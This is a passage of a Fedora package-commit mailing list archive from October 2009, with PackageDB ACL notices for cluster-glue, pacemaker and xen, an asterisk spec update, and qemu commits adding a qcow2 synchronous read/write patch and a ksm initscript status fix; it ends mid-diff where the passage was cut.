beekhof has set the approveacls acl on cluster-glue (Fedora devel) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:13 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141914.028A910F8AC@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on cluster-glue (Fedora 12) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:17 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141917.0C45510F84D@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on cluster-glue (Fedora 12) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:20 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141920.A8D5D10F8A8@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on cluster-glue (Fedora 12) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:22 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141922.12A3810F8B1@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on cluster-glue (Fedora 12) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From jcollie at fedoraproject.org  Fri Oct  9 14:19:24 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri,  9 Oct 2009 14:19:24 +0000 (UTC)
Subject: rpms/asterisk/F-12 asterisk.spec,1.57,1.58
Message-ID: <20091009141924.5BC4011C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11392

Modified Files:
	asterisk.spec 
Log Message:
* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
- Require latex2html used in static-http documents



Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/asterisk.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- asterisk.spec	8 Oct 2009 13:23:57 -0000	1.57
+++ asterisk.spec	9 Oct 2009 14:19:23 -0000	1.58
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.1.7
-Release: 0.1%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.2%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -64,6 +64,9 @@ Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
 Requires(preun): /sbin/service
 
+# needed for icons used from %{_datadir}/asterisk/static-http/*
+Requires: latex2html
+
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
@@ -989,6 +992,9 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
+- Require latex2html used in static-http documents
+
 * Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
 - Update to 1.6.1.7-rc2
 - Merge firmware subpackage back into main package



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:49 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141949.3754310F84D@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on pacemaker (Fedora devel) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:50 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141950.D5B5D10F895@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on pacemaker (Fedora devel) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:52 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141952.9907310F8A4@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on pacemaker (Fedora devel) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:54 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141954.DD7AD10F880@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on pacemaker (Fedora devel) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:57 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141957.9B03C10F8A1@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on pacemaker (Fedora 12) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:56 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141956.2DC9D10F8A8@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on pacemaker (Fedora 12) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:58 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141958.2663D10F8AF@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on pacemaker (Fedora 12) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:59 +0000
Subject: [pkgdb] pacemaker had acl change status
Message-ID: <20091009141959.5CCBF10F8B7@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on pacemaker (Fedora 12) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/pacemaker



From pkgdb at fedoraproject.org  Fri Oct  9 14:25:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:25:45 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142545.4489F10F892@bastion2.fedora.phx.redhat.com>

berrange has set the watchbugzilla acl on xen (Fedora devel) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:25:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:25:46 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142546.8289010F8AB@bastion2.fedora.phx.redhat.com>

berrange has set the commit acl on xen (Fedora devel) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:25:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:25:45 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142545.6D92110F8A3@bastion2.fedora.phx.redhat.com>

berrange has set the watchcommits acl on xen (Fedora devel) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:25:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:25:51 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142551.AF6FF10F8AD@bastion2.fedora.phx.redhat.com>

berrange has set the approveacls acl on xen (Fedora devel) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:05 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142605.96B9C10F894@bastion2.fedora.phx.redhat.com>

berrange has set the watchbugzilla acl on xen (Fedora 11) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:05 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142606.0404710F8A4@bastion2.fedora.phx.redhat.com>

berrange has set the watchcommits acl on xen (Fedora 11) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:08 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142608.1F0B010F8AC@bastion2.fedora.phx.redhat.com>

berrange has set the commit acl on xen (Fedora 11) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:09 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142609.B650D10F8B1@bastion2.fedora.phx.redhat.com>

berrange has set the approveacls acl on xen (Fedora 11) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:11 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142611.E31FB10F8B8@bastion2.fedora.phx.redhat.com>

berrange has set the watchbugzilla acl on xen (Fedora 12) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:14 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142614.8ACE710F895@bastion2.fedora.phx.redhat.com>

berrange has set the watchcommits acl on xen (Fedora 12) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:15 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142615.BB2E110F8BD@bastion2.fedora.phx.redhat.com>

berrange has set the commit acl on xen (Fedora 12) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From pkgdb at fedoraproject.org  Fri Oct  9 14:26:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:26:20 +0000
Subject: [pkgdb] xen had acl change status
Message-ID: <20091009142620.D4B7710F8A8@bastion2.fedora.phx.redhat.com>

berrange has set the approveacls acl on xen (Fedora 12) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/xen



From markmc at fedoraproject.org  Fri Oct  9 14:32:55 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Fri,  9 Oct 2009 14:32:55 +0000 (UTC)
Subject: rpms/qemu/devel qemu-fix-qcow2-backing-file-with-virtio.patch, NONE,
	1.1 ksm.init, 1.2,
	1.3 qemu-improve-error-reporting-on-file-access.patch, 1.1,
	1.2 qemu.spec, 1.139, 1.140
Message-ID: <20091009143255.CC4E411C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17538

Modified Files:
	ksm.init qemu-improve-error-reporting-on-file-access.patch 
	qemu.spec 
Added Files:
	qemu-fix-qcow2-backing-file-with-virtio.patch 
Log Message:
* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
- Fix fs errors with virtio and qcow2 backing file (#524734)
- Fix ksm initscript errors on kernel missing ksm (#527653)
- Add missing Requires(post): getent, useradd, groupadd (#527087)


qemu-fix-qcow2-backing-file-with-virtio.patch:
 qcow2-cluster.c |    6 +++---
 qcow2.c         |   51 +++++++++++++++++++++++++++++++++++++++++++++++++--
 qcow2.h         |    4 +++-
 3 files changed, 55 insertions(+), 6 deletions(-)

--- NEW FILE qemu-fix-qcow2-backing-file-with-virtio.patch ---
>From 1df18d4a961a66b9ea28ab83b409f4d9d470f148 Mon Sep 17 00:00:00 2001
From: Kevin Wolf <kwolf at redhat.com>
Date: Thu, 8 Oct 2009 15:02:08 +0200
Subject: [PATCH] qcow2: Bring synchronous read/write back to life

When the synchronous read and write functions were dropped, they were replaced
by generic emulation functions. Unfortunately, these emulation functions don't
provide the same semantics as the original functions did.

The original bdrv_read would mean that we read some data synchronously and that
we won't be interrupted during this read. The latter assumption is no longer
true with the emulation function which needs to use qemu_aio_poll and therefore
allows the callback of any other concurrent AIO request to be run during the
read. Which in turn means that (meta)data read earlier could have changed and
be invalid now. qcow2 is not prepared to work in this way and it's just scary
how many places there are where other requests could run.

I'm not sure yet where exactly it breaks, but you'll see breakage with virtio
on qcow2 with a backing file. Providing synchronous functions again fixes the
problem for me.

Signed-off-by: Kevin Wolf <kwolf at redhat.com>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-fix-qcow2-backing-file-with-virtio.patch
---
 block/qcow2-cluster.c |    6 ++--
 block/qcow2.c         |   51 +++++++++++++++++++++++++++++++++++++++++++++++-
 block/qcow2.h         |    3 ++
 3 files changed, 55 insertions(+), 5 deletions(-)

diff --git a/block/qcow2-cluster.c b/block/qcow2-cluster.c
index d4631c3..4d0ce16 100644
--- a/block/qcow2-cluster.c
+++ b/block/qcow2-cluster.c
@@ -306,8 +306,8 @@ void qcow2_encrypt_sectors(BDRVQcowState *s, int64_t sector_num,
 }
 
 
-static int qcow_read(BlockDriverState *bs, int64_t sector_num,
-                     uint8_t *buf, int nb_sectors)
+int qcow2_read(BlockDriverState *bs, int64_t sector_num, uint8_t *buf,
+    int nb_sectors)
 {
     BDRVQcowState *s = bs->opaque;
     int ret, index_in_cluster, n, n1;
@@ -358,7 +358,7 @@ static int copy_sectors(BlockDriverState *bs, uint64_t start_sect,
     n = n_end - n_start;
     if (n <= 0)
         return 0;
-    ret = qcow_read(bs, start_sect + n_start, s->cluster_data, n);
+    ret = qcow2_read(bs, start_sect + n_start, s->cluster_data, n);
     if (ret < 0)
         return ret;
     if (s->crypt_method) {
diff --git a/block/qcow2.c b/block/qcow2.c
index dd32ea2..ced257e 100644
--- a/block/qcow2.c
+++ b/block/qcow2.c
@@ -855,6 +855,51 @@ static int qcow_make_empty(BlockDriverState *bs)
     return 0;
 }
 
+static int qcow2_write(BlockDriverState *bs, int64_t sector_num,
+                     const uint8_t *buf, int nb_sectors)
+{
+    BDRVQcowState *s = bs->opaque;
+    int ret, index_in_cluster, n;
+    uint64_t cluster_offset;
+    int n_end;
+    QCowL2Meta l2meta;
+
+    while (nb_sectors > 0) {
+        memset(&l2meta, 0, sizeof(l2meta));
+
+        index_in_cluster = sector_num & (s->cluster_sectors - 1);
+        n_end = index_in_cluster + nb_sectors;
+        if (s->crypt_method &&
+            n_end > QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors)
+            n_end = QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors;
+        cluster_offset = qcow2_alloc_cluster_offset(bs, sector_num << 9,
+                                              index_in_cluster,
+                                              n_end, &n, &l2meta);
+        if (!cluster_offset)
+            return -1;
+        if (s->crypt_method) {
+            qcow2_encrypt_sectors(s, sector_num, s->cluster_data, buf, n, 1,
+                            &s->aes_encrypt_key);
+            ret = bdrv_pwrite(s->hd, cluster_offset + index_in_cluster * 512,
+                              s->cluster_data, n * 512);
+        } else {
+            ret = bdrv_pwrite(s->hd, cluster_offset + index_in_cluster * 512, buf, n * 512);
+        }
+        if (ret != n * 512 || qcow2_alloc_cluster_link_l2(bs, cluster_offset, &l2meta) < 0) {
+            qcow2_free_any_clusters(bs, cluster_offset, l2meta.nb_clusters);
+            return -1;
+        }
+        nb_sectors -= n;
+        sector_num += n;
+        buf += n * 512;
+        if (l2meta.nb_clusters != 0) {
+            LIST_REMOVE(&l2meta, next_in_flight);
+        }
+    }
+    s->cluster_cache_offset = -1; /* disable compressed cache */
+    return 0;
+}
+
 /* XXX: put compressed sectors first, then all the cluster aligned
    tables to avoid losing bytes in alignment */
 static int qcow_write_compressed(BlockDriverState *bs, int64_t sector_num,
@@ -1037,8 +1082,10 @@ static BlockDriver bdrv_qcow2 = {
     .bdrv_set_key	= qcow_set_key,
     .bdrv_make_empty	= qcow_make_empty,
 
-    .bdrv_aio_readv	= qcow_aio_readv,
-    .bdrv_aio_writev	= qcow_aio_writev,
+    .bdrv_read          = qcow2_read,
+    .bdrv_write         = qcow2_write,
+    .bdrv_aio_readv     = qcow_aio_readv,
+    .bdrv_aio_writev    = qcow_aio_writev,
     .bdrv_write_compressed = qcow_write_compressed,
 
     .bdrv_snapshot_create   = qcow2_snapshot_create,
diff --git a/block/qcow2.h b/block/qcow2.h
index 965a2f4..b41aa63 100644
--- a/block/qcow2.h
+++ b/block/qcow2.h
@@ -202,6 +202,9 @@ uint64_t qcow2_alloc_compressed_cluster_offset(BlockDriverState *bs,
 int qcow2_alloc_cluster_link_l2(BlockDriverState *bs, uint64_t cluster_offset,
     QCowL2Meta *m);
 
+int qcow2_read(BlockDriverState *bs, int64_t sector_num, uint8_t *buf,
+    int nb_sectors);
+
 /* qcow2-snapshot.c functions */
 int qcow2_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info);
 int qcow2_snapshot_goto(BlockDriverState *bs, const char *snapshot_id);
-- 
1.6.2.5



Index: ksm.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/ksm.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ksm.init	16 Sep 2009 17:31:15 -0000	1.2
+++ ksm.init	9 Oct 2009 14:32:54 -0000	1.3
@@ -56,6 +56,19 @@ stop() {
     echo
 }
 
+status() {
+    if [ ! -f /sys/kernel/mm/ksm/run ] ; then
+        echo $"$prog not supported"
+        RETVAL=1
+    else if [ "$(cat /sys/kernel/mm/ksm/run 2>/dev/null)" != "1" ]; then
+        echo $"$prog is not running"
+        RETVAL=1
+    else
+        echo $"$prog is running"
+        RETVAL=0
+    fi; fi
+}
+
 case "$1" in
   start)
 	start
@@ -64,13 +77,7 @@ case "$1" in
 	stop
 	;;
   status)
-        is_run=`cat /sys/kernel/mm/ksm/run`
-	RETVAL=$?
-        if [ $is_run -eq 1 ]; then
-            echo $"$prog is running"
-        else
-            echo $"$prog is not running"
-        fi
+        status
 	;;
   restart)
 	stop

qemu-improve-error-reporting-on-file-access.patch:
 hw/pc.c |   12 ++++++------
 vl.c    |   21 ++++++++++-----------
 2 files changed, 16 insertions(+), 17 deletions(-)

Index: qemu-improve-error-reporting-on-file-access.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu-improve-error-reporting-on-file-access.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qemu-improve-error-reporting-on-file-access.patch	1 Oct 2009 21:32:06 -0000	1.1
+++ qemu-improve-error-reporting-on-file-access.patch	9 Oct 2009 14:32:55 -0000	1.2
@@ -1,4 +1,4 @@
-From a40f520f7b94d2a5de04c7ca3a7513a99c84e9ef Mon Sep 17 00:00:00 2001
+From 565c62123258970d9254bc7b8eaa8f4c66ab2a21 Mon Sep 17 00:00:00 2001
 From: Justin M. Forbes <jforbes at redhat.com>
 Date: Thu, 1 Oct 2009 16:13:56 -0500
 Subject: [PATCH] Improve error reporting on file access
@@ -7,7 +7,10 @@ By making the error reporting include st
 a bit more indication as to why qemu failed.  This is particularly
 important for people running qemu as a non root user.
 
+(cherry-picked from commit 850810d01b45e6ce99ac6696773e967890db2937)
+
 Signed-off-by: Justin M. Forbes <jforbes at redhat.com>
+Fedora-patch: qemu-improve-error-reporting-on-file-access.patch
 ---
  hw/pc.c |   12 ++++++------
  vl.c    |   20 ++++++++++----------
@@ -27,9 +30,9 @@ index 3b226f4..7a184cd 100644
 +		kernel_filename, strerror(errno));
  	exit(1);
      }
-
+ 
 @@ -947,8 +947,8 @@ static void load_linux(void *fw_cfg,
-
+ 
  	fi = fopen(initrd_filename, "rb");
  	if (!fi) {
 -	    fprintf(stderr, "qemu: could not load initial ram disk '%s'\n",
@@ -38,10 +41,10 @@ index 3b226f4..7a184cd 100644
 +		    initrd_filename, strerror(errno));
  	    exit(1);
  	}
-
+ 
 @@ -956,8 +956,8 @@ static void load_linux(void *fw_cfg,
  	initrd_addr = (initrd_max-initrd_size) & ~4095;
-
+ 
  	if (!fread_targphys_ok(initrd_addr, initrd_size, fi)) {
 -	    fprintf(stderr, "qemu: read error on initial ram disk '%s'\n",
 -		    initrd_filename);


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- qemu.spec	6 Oct 2009 13:26:24 -0000	1.139
+++ qemu.spec	9 Oct 2009 14:32:55 -0000	1.140
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -46,6 +46,9 @@ Patch07: qemu-do-not-exit-on-pci-hotplug
 # Improve error reporting on file access
 Patch08: qemu-improve-error-reporting-on-file-access.patch
 
+# Fix fs errors with virtio and qcow2 backing file (#524734)
+Patch09: qemu-fix-qcow2-backing-file-with-virtio.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -105,6 +108,9 @@ This package provides the command line t
 %package  common
 Summary: QEMU common files needed by all QEMU targets
 Group: Development/Tools
+Requires(post): /usr/bin/getent
+Requires(post): /usr/sbin/groupadd
+Requires(post): /usr/sbin/useradd
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service /sbin/chkconfig
 Requires(postun): /sbin/service
@@ -241,6 +247,7 @@ such as kvmtrace and kvm_stat.
 %patch06 -p1
 %patch07 -p1
 %patch08 -p1
+%patch09 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -534,6 +541,11 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
+- Fix fs errors with virtio and qcow2 backing file (#524734)
+- Fix ksm initscript errors on kernel missing ksm (#527653)
+- Add missing Requires(post): getent, useradd, groupadd (#527087)
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
 - Add 'retune' verb to ksmtuned init script
 



From markmc at fedoraproject.org  Fri Oct  9 14:34:18 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Fri,  9 Oct 2009 14:34:18 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-fix-qcow2-backing-file-with-virtio.patch, NONE, 
	1.1 ksm.init, 1.2,
	1.3 qemu-improve-error-reporting-on-file-access.patch, 1.1,
	1.2 qemu.spec, 1.139, 1.140
Message-ID: <20091009143418.1BE6911C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18093

Modified Files:
	ksm.init qemu-improve-error-reporting-on-file-access.patch 
	qemu.spec 
Added Files:
	qemu-fix-qcow2-backing-file-with-virtio.patch 
Log Message:
* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
- Fix fs errors with virtio and qcow2 backing file (#524734)
- Fix ksm initscript errors on kernel missing ksm (#527653)
- Add missing Requires(post): getent, useradd, groupadd (#527087)


qemu-fix-qcow2-backing-file-with-virtio.patch:
 qcow2-cluster.c |    6 +++---
 qcow2.c         |   51 +++++++++++++++++++++++++++++++++++++++++++++++++--
 qcow2.h         |    4 +++-
 3 files changed, 55 insertions(+), 6 deletions(-)

--- NEW FILE qemu-fix-qcow2-backing-file-with-virtio.patch ---
>From 1df18d4a961a66b9ea28ab83b409f4d9d470f148 Mon Sep 17 00:00:00 2001
From: Kevin Wolf <kwolf at redhat.com>
Date: Thu, 8 Oct 2009 15:02:08 +0200
Subject: [PATCH] qcow2: Bring synchronous read/write back to life

When the synchronous read and write functions were dropped, they were replaced
by generic emulation functions. Unfortunately, these emulation functions don't
provide the same semantics as the original functions did.

The original bdrv_read would mean that we read some data synchronously and that
we won't be interrupted during this read. The latter assumption is no longer
true with the emulation function which needs to use qemu_aio_poll and therefore
allows the callback of any other concurrent AIO request to be run during the
read. Which in turn means that (meta)data read earlier could have changed and
be invalid now. qcow2 is not prepared to work in this way and it's just scary
how many places there are where other requests could run.

I'm not sure yet where exactly it breaks, but you'll see breakage with virtio
on qcow2 with a backing file. Providing synchronous functions again fixes the
problem for me.

Signed-off-by: Kevin Wolf <kwolf at redhat.com>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-fix-qcow2-backing-file-with-virtio.patch
---
 block/qcow2-cluster.c |    6 ++--
 block/qcow2.c         |   51 +++++++++++++++++++++++++++++++++++++++++++++++-
 block/qcow2.h         |    3 ++
 3 files changed, 55 insertions(+), 5 deletions(-)

diff --git a/block/qcow2-cluster.c b/block/qcow2-cluster.c
index d4631c3..4d0ce16 100644
--- a/block/qcow2-cluster.c
+++ b/block/qcow2-cluster.c
@@ -306,8 +306,8 @@ void qcow2_encrypt_sectors(BDRVQcowState *s, int64_t sector_num,
 }
 
 
-static int qcow_read(BlockDriverState *bs, int64_t sector_num,
-                     uint8_t *buf, int nb_sectors)
+int qcow2_read(BlockDriverState *bs, int64_t sector_num, uint8_t *buf,
+    int nb_sectors)
 {
     BDRVQcowState *s = bs->opaque;
     int ret, index_in_cluster, n, n1;
@@ -358,7 +358,7 @@ static int copy_sectors(BlockDriverState *bs, uint64_t start_sect,
     n = n_end - n_start;
     if (n <= 0)
         return 0;
-    ret = qcow_read(bs, start_sect + n_start, s->cluster_data, n);
+    ret = qcow2_read(bs, start_sect + n_start, s->cluster_data, n);
     if (ret < 0)
         return ret;
     if (s->crypt_method) {
diff --git a/block/qcow2.c b/block/qcow2.c
index dd32ea2..ced257e 100644
--- a/block/qcow2.c
+++ b/block/qcow2.c
@@ -855,6 +855,51 @@ static int qcow_make_empty(BlockDriverState *bs)
     return 0;
 }
 
+static int qcow2_write(BlockDriverState *bs, int64_t sector_num,
+                     const uint8_t *buf, int nb_sectors)
+{
+    BDRVQcowState *s = bs->opaque;
+    int ret, index_in_cluster, n;
+    uint64_t cluster_offset;
+    int n_end;
+    QCowL2Meta l2meta;
+
+    while (nb_sectors > 0) {
+        memset(&l2meta, 0, sizeof(l2meta));
+
+        index_in_cluster = sector_num & (s->cluster_sectors - 1);
+        n_end = index_in_cluster + nb_sectors;
+        if (s->crypt_method &&
+            n_end > QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors)
+            n_end = QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors;
+        cluster_offset = qcow2_alloc_cluster_offset(bs, sector_num << 9,
+                                              index_in_cluster,
+                                              n_end, &n, &l2meta);
+        if (!cluster_offset)
+            return -1;
+        if (s->crypt_method) {
+            qcow2_encrypt_sectors(s, sector_num, s->cluster_data, buf, n, 1,
+                            &s->aes_encrypt_key);
+            ret = bdrv_pwrite(s->hd, cluster_offset + index_in_cluster * 512,
+                              s->cluster_data, n * 512);
+        } else {
+            ret = bdrv_pwrite(s->hd, cluster_offset + index_in_cluster * 512, buf, n * 512);
+        }
+        if (ret != n * 512 || qcow2_alloc_cluster_link_l2(bs, cluster_offset, &l2meta) < 0) {
+            qcow2_free_any_clusters(bs, cluster_offset, l2meta.nb_clusters);
+            return -1;
+        }
+        nb_sectors -= n;
+        sector_num += n;
+        buf += n * 512;
+        if (l2meta.nb_clusters != 0) {
